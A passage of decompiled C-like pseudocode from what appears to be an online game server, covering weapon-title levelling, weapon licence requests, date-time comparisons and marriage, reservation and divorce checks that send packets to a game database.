"ShineObjectClass::ShinePlayer::so_weapontitle"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); return 0; } v5 = mobid; v6 = MobDataBox::operator__(&mobdatabox, *mobid); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_weapontitle : Invalid mob", *mobid); LABEL_5: v26 = -1; v21 = "ShineObjectClass::ShinePlayer::so_weapontitle"; goto LABEL_6; } v8 = v6->data->Level; v9 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1220))(v2); if ( v8 < (unsigned __int8)v9 - 5 || v8 > v9 + 20 ) goto LABEL_5; v10 = 0; v11 = (unsigned __int16 *)((char *)v4 + 13); while ( MobDataBox::mdb_SpeciesDistance(&mobdatabox, *v11, *mobid) < 0 ) { ++v10; v11 += 3; if ( v10 >= 3 ) goto LABEL_5; } v12 = &cell[6 * v10]; v13 = *(_WORD *)(v12 + 13); *mobid = v13; v14 = (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & *(_DWORD *)(v12 + 15); mobida = CWeaponTitle::GetLevel( &gWeaponTitle.baseclass_0, v13, (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & *(_DWORD *)(v12 + 15)); v15 = v14 + 1; *(_DWORD *)(v12 + 15) ^= (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & (v15 ^ *(_DWORD *)(v12 + 15)); v16 = CWeaponTitle::GetLevel(&gWeaponTitle.baseclass_0, *v5, v15); NewRank = v16; if ( !(v15 % 0xAu) || mobida != v16 ) { ShineObjectClass::ShinePlayer::sp_saveweapontitle(v2, (int)cell, *v5, v15); if ( mobida != NewRank ) { v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23555; v18 = *(_WORD *)((**((int (__stdcall ***)(_DWORD))v2 + 8050))(12) + 8); v17[4] = NewRank; *((_WORD *)v17 + 1) = 2 * (v18 != -1) + 8202; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShinePlayer::so_weapontitle To ShinePlayer : Packet Too Long", 5) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } } } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_weapontitle"); return 1; } //----- (0052A640) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edi@1 __int16 v6; // ax@5 int v7; // esi@7 unsigned __int16 v8; // ax@10 ItemDataBox::ItemDataBoxIndex *v9; // eax@11 int v10; // eax@14 int v11; // ebp@14 unsigned __int16 v12; // ax@15 ItemDataBox::ItemDataBoxIndex *v13; // eax@18 int v14; // eax@21 int v15; // esi@21 int v16; // esi@21 int v17; // ST40_4@21 int v18; // eax@21 int v19; // eax@21 int v20; // eax@22 int v21; // eax@24 char *v22; // esi@24 int v23; // eax@24 int v24; // edx@24 int v25; // edx@24 char v26; // al@24 ZoneBaseSession *v27; // eax@25 char *v28; // eax@32 int v29; // eax@34 signed __int16 Error; // [sp+40h] [bp-98h]@4 int pReq; // [sp+44h] [bp-94h]@1 int weaponcell; // [sp+48h] [bp-90h]@7 int mobid; // [sp+4Ch] [bp-8Ch]@20 FunctionEntarance _; // [sp+50h] [bp-88h]@1 int v35; // [sp+54h] [bp-84h]@5 ItemTotalInformation titled; // [sp+58h] [bp-80h]@21 unsigned int v37; // [sp+C8h] [bp-10h]@36 int v38; // [sp+D4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = netcmd + 2; v38 = 0; pReq = netcmd + 2; if ( !(_S4_25 & 1) ) { _S4_25 |= 1u; stru_1248FE44.cmc_AllowMode = 70; atexit(_E5_74); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_1248FE44.cmc_AllowMode) ) { Error = 2495; goto SEND_ERROR; } v35 = netcmd + 4; v6 = *(_WORD *)(netcmd + 4); Error = 2494; if ( (unsigned int)*(_WORD *)(netcmd + 4) >> 10 == 8 ) { weaponcell = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8050))( (char *)v4 + 32200, v6 & 0x3FF); v7 = weaponcell; } else { if ( (unsigned int)*(_WORD *)(netcmd + 4) >> 10 != 9 ) goto SEND_ERROR; v7 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, v6 & 0x3FF); weaponcell = v7; } if ( v7 ) { v8 = *(_WORD *)(v7 + 8); if ( v8 != -1 ) { v9 = ItemDataBox::operator__(&itemdatabox, v8); if ( v9 ) { if ( v9->data->Class == 5 ) { Error = 2495; if ( (*(_WORD *)v5 & 0xFC00) == 9216 ) { v10 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, *(_WORD *)v5 & 0x3FF); v11 = v10; if ( v10 ) { v12 = *(_WORD *)(v10 + 8); if ( v12 != -1 ) { if ( v12 == unk_12510DC4 ) { ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(v4, v5, v7, v11); LABEL_27: v38 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_36; } v13 = ItemDataBox::operator__(&itemdatabox, v12); if ( v13 ) { if ( v13->data->Class == 16 ) { mobid = (*(int (__stdcall **)(MobDataBox *, ItemDataBox *, int))(**(_DWORD **)(v11 + 112) + 84))( &mobdatabox, &itemdatabox, v11); if ( (_WORD)mobid != -1 ) { v14 = *(_DWORD *)(v7 + 112); memcpy(&titled, (const void *)v7, 0x6Cu); v15 = v7 + 108; *(_WORD *)((char *)&titled.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v15; BYTE3(titled.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v15 + 2); v16 = *(_DWORD *)v14; v17 = v14; v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); v19 = (*(int (__thiscall **)(int, ItemTotalInformation *, int, int))(v16 + 68))( v17, &titled, mobid, v18) - 1; if ( v19 ) { v20 = v19 - 1; if ( v20 ) { if ( v20 != 1 ) { v21 = (*(int (__thiscall **)(char *, _DWORD, int, int, int))(*((_DWORD *)v4 + 14442) + 40))( (char *)v4 + 57768, *((_WORD *)v4 + 28886), v11, pReq, pReq); LOWORD(v21) = *((_WORD *)v4 + 28886); (*(void (__thiscall **)(char *, int, int, ItemTotalInformation *, int, int))(*((_DWORD *)v4 + 14442) + 48))( (char *)v4 + 57768, v21, weaponcell, &titled, v35, v35); v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23557; *((_WORD *)v22 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v22 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v22 + 4) = *((_WORD *)v4 + 28886); *(_DWORD *)(v22 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); Name4::operator_((int)(v22 + 14), v23); *(_DWORD *)(v22 + 38) = *(_DWORD *)v11; v24 = *(_DWORD *)(v11 + 4); *((_WORD *)v22 + 23) = mobid; *(_DWORD *)(v22 + 42) = v24; *(_DWORD *)(v22 + 30) = *(_DWORD *)weaponcell; *(_DWORD *)(v22 + 34) = *(_DWORD *)(weaponcell + 4); v25 = v35; *((_WORD *)v22 + 24) = *(_WORD *)pReq; *((_WORD *)v22 + 25) = *(_WORD *)v25; v26 = ProtocolPacket::pp_SetPacketLen(&gpp, 52); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v26, "ShinePlayer::sp_NC_WT_LICENSE_REQ : Packet Too Long", 52) ) { v27 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v27); } ++*((_WORD *)v4 + 28886); goto LABEL_27; } Error = 2493; } else { Error = 2492; } } else { Error = 2491; } v5 = netcmd + 2; goto SEND_ERROR; } } } } } } } } } } SEND_ERROR: v28 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23554; *((_WORD *)v28 + 1) = *(_WORD *)v5; *((_WORD *)v28 + 2) = *(_WORD *)(v5 + 2); *(_WORD *)(v28 + 7) = Error; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v29 + 12))(v29, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::sp_NC_WT_LICENSE_REQ : Packet Too Long", 9); } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"); LABEL_36: __security_check_cookie(v37); } //----- (0052AA70) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_WeaponTitleSave(ItemInventoryCell *this, #440 *sp) { int v2; // edi@1 int v3; // esi@5 signed int v4; // ebp@5 char *v5; // [sp-4h] [bp-24h]@3 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemInventoryCell::iic_WeaponTitleSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemInventoryCell::iic_WeaponTitleSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !sp ) { AssertClass::ac_AssertFail(&shineassert, "ItemInventoryCell::iic_WeaponTitleSave Null Pointer : sp", 0); LABEL_3: v5 = "ItemInventoryCell::iic_WeaponTitleSave"; goto LABEL_10; } if ( (*(int (**)(void))(**(_DWORD **)(v2 + 112) + 36))() != 5 ) goto LABEL_3; v3 = v2 + 13; v4 = 3; do { if ( *(_WORD *)v3 != -1 ) ShineObjectClass::ShinePlayer::sp_saveweapontitle( (void *)sp, v2, *(_WORD *)v3, (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & *(_DWORD *)(v3 + 2)); v3 += 6; --v4; } while ( v4 ); v5 = "ItemInventoryCell::iic_WeaponTitleSave"; LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v5); } //----- (0052AB60) -------------------------------------------------------- bool __thiscall ShineDateTime::operator>(ShineDateTime *this, ShineDateTime *Rhs) { int v2; // edx@1 int v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 int v7; // eax@4 int v8; // ecx@4 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@8 int v12; // ecx@8 v2 = Rhs->_bf0; v3 = this->_bf0; v4 = (unsigned __int8)Rhs->_bf0; v5 = (unsigned __int8)this->_bf0; return v5 > v4 || v5 >= v4 && ((v7 = ((unsigned int)v2 >> 8) & 0x1F, v8 = ((unsigned int)v3 >> 8) & 0x1F, v8 > (unsigned int)v7) || v8 >= (unsigned int)v7 && ((v9 = ((unsigned int)v2 >> 13) & 0x3F, v10 = ((unsigned int)v3 >> 13) & 0x3F, v10 > (unsigned int)v9) || v10 >= (unsigned int)v9 && ((v11 = ((unsigned int)v2 >> 19) & 0x3F, v12 = ((unsigned int)v3 >> 19) & 0x3F, v12 > (unsigned int)v11) || v12 >= (unsigned int)v11 && (unsigned int)v3 >> 25 > (unsigned int)v2 >> 25))); } //----- (0052ABE0) -------------------------------------------------------- bool __thiscall ShineDateTime::operator<(ShineDateTime *this, ShineDateTime *Rhs) { int v2; // edx@1 int v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 int v7; // eax@4 int v8; // ecx@4 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@8 int v12; // ecx@8 v2 = Rhs->_bf0; v3 = this->_bf0; v4 = (unsigned __int8)Rhs->_bf0; v5 = (unsigned __int8)this->_bf0; return v5 < v4 || v5 <= v4 && ((v7 = ((unsigned int)v2 >> 8) & 0x1F, v8 = ((unsigned int)v3 >> 8) & 0x1F, v8 < (unsigned int)v7) || v8 <= (unsigned int)v7 && ((v9 = ((unsigned int)v2 >> 13) & 0x3F, v10 = ((unsigned int)v3 >> 13) & 0x3F, v10 < (unsigned int)v9) || v10 <= (unsigned int)v9 && ((v11 = ((unsigned int)v2 >> 19) & 0x3F, v12 = ((unsigned int)v3 >> 19) & 0x3F, v12 < (unsigned int)v11) || v12 <= (unsigned int)v11 && (unsigned int)v3 >> 25 < (unsigned int)v2 >> 25))); } //----- (0052AC60) -------------------------------------------------------- ShineDateTime *__thiscall ShineDateTime::operator__(ShineDateTime *this, ShineDateTimeSpan Rhs) { ShineDateTime *v2; // esi@1 int v3; // ecx@1 unsigned int v4; // edx@1 unsigned int v5; // eax@1 int v6; // ecx@1 tm *v7; // eax@1 int v8; // ecx@1 int v9; // edx@1 int v10; // edx@1 unsigned int v11; // ecx@1 __time64_t UnixTime; // [sp+Ch] [bp-2Ch]@1 int Time1; // [sp+14h] [bp-24h]@1 unsigned int v15; // [sp+18h] [bp-20h]@1 unsigned int v16; // [sp+1Ch] [bp-1Ch]@1 unsigned int v17; // [sp+20h] [bp-18h]@1 unsigned int v18; // [sp+24h] [bp-14h]@1 int v19; // [sp+28h] [bp-10h]@1 int v20; // [sp+34h] [bp-4h]@1 v2 = this; v3 = this->_bf0; v4 = v2->_bf0; v15 = (unsigned int)v3 >> 25; v5 = v2->_bf0; v16 = ((unsigned int)v3 >> 19) & 0x3F; v6 = v2->_bf0; v17 = (v4 >> 13) & 0x3F; Time1 = 0; v18 = ((v5 >> 8) & 0x1F) - 1; v19 = (unsigned __int8)v6 + 100; v20 = -1; UnixTime = 60 * ((unsigned __int8)Rhs.minute + 60 * ((unsigned __int8)Rhs.hour + 24 * Rhs.date)) + _mktime64((tm *)&Time1); v7 = _localtime64(&UnixTime); LOBYTE(v2->_bf0) = LOBYTE(v7->tm_year) - 100; v8 = ((unsigned __int16)v2->_bf0 ^ (unsigned __int16)(((unsigned __int16)v7->tm_mon + 1) << 8)) & 0x1F00 ^ v2->_bf0; v2->_bf0 = v8; v9 = v8 ^ (v7->tm_mday << 13); v10 = v8 ^ v9 & 0x7E000; v2->_bf0 = v10; v11 = v10 ^ (unsigned int)&wholesaver.ws_savestore[314].gapf2b8[8256] & (v10 ^ (v7->tm_hour << 19)); v2->_bf0 = v11; v2->_bf0 = (unsigned int)&wholesaver.ws_savestore[321].esc_skill.buffer[9603] & v11 | (v7->tm_min << 25); return v2; } //----- (0052AD60) -------------------------------------------------------- __int64 __thiscall ShineDateTime::toTime_t(ShineDateTime *this) { int v1; // eax@1 unsigned int v2; // edx@1 unsigned int v3; // ecx@1 int Time1; // [sp+0h] [bp-24h]@1 unsigned int v6; // [sp+4h] [bp-20h]@1 unsigned int v7; // [sp+8h] [bp-1Ch]@1 unsigned int v8; // [sp+Ch] [bp-18h]@1 unsigned int v9; // [sp+10h] [bp-14h]@1 int v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v1 = this->_bf0; v2 = (unsigned int)this->_bf0 >> 19; v3 = (unsigned int)this->_bf0 >> 25; v7 = v2 & 0x3F; v6 = v3; v10 = (unsigned __int8)v1 + 100; Time1 = 0; v8 = ((unsigned int)v1 >> 13) & 0x3F; v9 = (((unsigned int)v1 >> 8) & 0x1F) - 1; v11 = -1; return _mktime64((tm *)&Time1); } //----- (0052ADC0) -------------------------------------------------------- void __thiscall WeddingPerson::WeddingPerson(WeddingPerson *this) { this->RegistNumber = -1; *(_QWORD *)&this->CharacterName.n4_name[8] = 0i64; *(_QWORD *)&this->CharacterName.n4_name[0] = 0i64; strncpy(this->CharacterName.n4_name, byte_59A24E, 0x10u); } //----- (0052ADF0) -------------------------------------------------------- PassiveDataBox::SpecialSkill *__thiscall PassiveDataBox::sdb_SpecSkillStruct(PassiveDataBox *this) { return &this->sdb_SpecSkill; } //----- (0052AE00) -------------------------------------------------------- #error "52AE00: undefined or illegal type '#331' (funcsize=41)" //----- (0052AE90) -------------------------------------------------------- #error "52AE90: undefined or illegal type '#331' (funcsize=38)" //----- (0052AF10) -------------------------------------------------------- #error "52AF10: undefined or illegal type '#331' (funcsize=31)" //----- (0052AF80) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenBeProposed() { int v0; // eax@2 int v2; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1136))(v2)) & 0x46 ) v0 = (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2300))(v2) + 8) & 0xF) != 0 ? 0x12C6 : 0; else LOWORD(v0) = 4802; return v0; } //----- (0052AFC0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenReserve() { unsigned __int16 result; // ax@2 int v1; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1136))(v1)) & 6 ) { if ( (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2300))(v1) + 8) & 0xF) == 1 ) result = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2292))(v1) != 0 ? 0 : 4872; else result = 4867; } else { result = 4865; } return result; } //----- (0052B020) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenReservePartner() { unsigned __int16 result; // ax@2 int v1; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1136))(v1)) & 6 ) { if ( (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2300))(v1) + 8) & 0xF) == 1 ) result = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2292))(v1) != 0 ? 0 : 4872; else result = 4867; } else { result = 4866; } return result; } //----- (0052B080) -------------------------------------------------------- PROTO_NC_CHAR_WEDDINGDATA_ACK *__cdecl ShineObjectClass::ShineObject::so_ply_WeddingStatus() { return &ShineObjectClass::ShineObject::so_WeddingData; } //----- (0052B090) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingStatus(void *this) { return (int)((char *)this + 23336); } //----- (0052B0A0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_BYTE *)(this + 31) = *(_BYTE *)(a2 + 31); *(_BYTE *)(this + 32) = *(_BYTE *)(a2 + 32); *(_WORD *)(this + 33) = *(_WORD *)(a2 + 33); return result; } //----- (0052B100) -------------------------------------------------------- char __thiscall WeddingHall::wh_GuestCanEnter(WeddingHall *this, PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *wedding_progress) { WeddingHall *v2; // edi@1 char result; // al@6 v2 = this; if ( !this->Reserved || ShineDateTime::operator>(&this->EnteringStart, &chargeditemcheck) || ShineDateTime::operator>(&chargeditemcheck, &v2->EnteringEnd) ) { if ( wedding_progress ) wedding_progress->err = 4930; result = 0; } else { if ( wedding_progress ) { *(_QWORD *)&wedding_progress->GroomID.n4_name[0] = *(_QWORD *)&v2->Groom.CharacterName.n4_name[0]; *(_QWORD *)&wedding_progress->GroomID.n4_name[8] = *(_QWORD *)&v2->Groom.CharacterName.n4_name[8]; *(_QWORD *)&wedding_progress->BrideID.n4_name[0] = *(_QWORD *)&v2->Bride.CharacterName.n4_name[0]; *(_QWORD *)&wedding_progress->BrideID.n4_name[8] = *(_QWORD *)&v2->Bride.CharacterName.n4_name[8]; wedding_progress->EnterStart = ShineDateTime::toTime_t(&v2->EnteringStart); wedding_progress->WeddingStart = ShineDateTime::toTime_t(&v2->EnteringEnd); wedding_progress->WeddingEnd = ShineDateTime::toTime_t(&v2->WeddingEnd); wedding_progress->err = 4928; } result = 1; } return result; } //----- (0052B1C0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenPropose() { unsigned __int16 result; // ax@2 int v1; // [sp+1Ch] [bp+4h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Checker::WhenPropose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Checker::WhenPropose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1136))(v1)) & 0x46 ) { if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2300))(v1) + 8) & 0xF ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 4805; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 4801; } return result; } //----- (0052B2E0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenProposeBoth() { int v2; // [sp+4h] [bp+4h]@0 int v3; // [sp+8h] [bp+8h]@0 return (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v2, v3) > 0x2710 ? 0x12C3 : 0; } //----- (0052B300) -------------------------------------------------------- unsigned __int16 __cdecl Checker::ApplicationLimit() { int v0; // eax@1 char *v1; // edi@2 ZoneBaseSession *v3; // eax@4 int v4; // [sp+8h] [bp+4h]@0 v0 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4); if ( !ShineDateTime::operator>((ShineDateTime *)(v0 + 13), &chargeditemcheck) ) { v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4229; *((_WORD *)v1 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v1 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v1 + 2) = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4) + 33); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { AssertClass::ac_AssertFail(&shineassert, "Checker::ApplicationLimit : Packet Too Long", 12); return 0; } v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } return 0; } //----- (0052B3A0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_BYTE *)(this + 8) = *(_BYTE *)(a2 + 8); *(_DWORD *)(this + 9) = *(_DWORD *)(a2 + 9); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_DWORD *)(this + 25) = *(_DWORD *)(a2 + 25); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_BYTE *)(this + 37) = *(_BYTE *)(a2 + 37); *(_BYTE *)(this + 38) = *(_BYTE *)(a2 + 38); return result; } //----- (0052B420) -------------------------------------------------------- unsigned __int16 __cdecl Checker::DelayLimit() { int v1; // eax@3 char *v2; // edi@4 ZoneBaseSession *v3; // eax@6 int v4; // [sp+8h] [bp+4h]@0 if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4) + 8) & 0xF0 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2308))(v4); return 0; } v1 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4); if ( !ShineDateTime::operator>((ShineDateTime *)(v1 + 13), &chargeditemcheck) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4231; *((_WORD *)v2 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v2 + 2) = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2300))(v4) + 33); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 12); return 0; } v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } return 0; } //----- (0052B4E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate(void *this, int wedding) { void *v2; // esi@1 int v3; // ecx@1 ZoneBaseSession *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)((char *)v2 + 23336), wedding); v3 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 4226; PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(v3, wedding); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate : Packet Too Long", 41); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"); } //----- (0052B5D0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem(void *this) { void *v1; // esi@1 bool v2; // bl@1 ITEM_INVEN inveninv; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v2 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v1, unk_12510DE8, (int)&inveninv) != 0; --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"); return v2; } //----- (0052B690) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_DivorceProcess(void *this) { char *v1; // edi@1 void *v2; // esi@1 ZoneBaseSession *v3; // eax@3 int v4; // edi@4 ZoneBaseSession *v5; // eax@6 __int16 v6; // ax@7 __int16 v7; // ax@8 int v8; // eax@11 char Update; // [sp+18h] [bp-2Ch]@11 char v11; // [sp+20h] [bp-24h]@11 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v1 + 1) = (*(int (**)(void))(*(_DWORD *)this + 836))(); *((_WORD *)v1 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v1 + 4) = skilldatabox.sdb_SpecSkill.ss_SummonMate; if ( 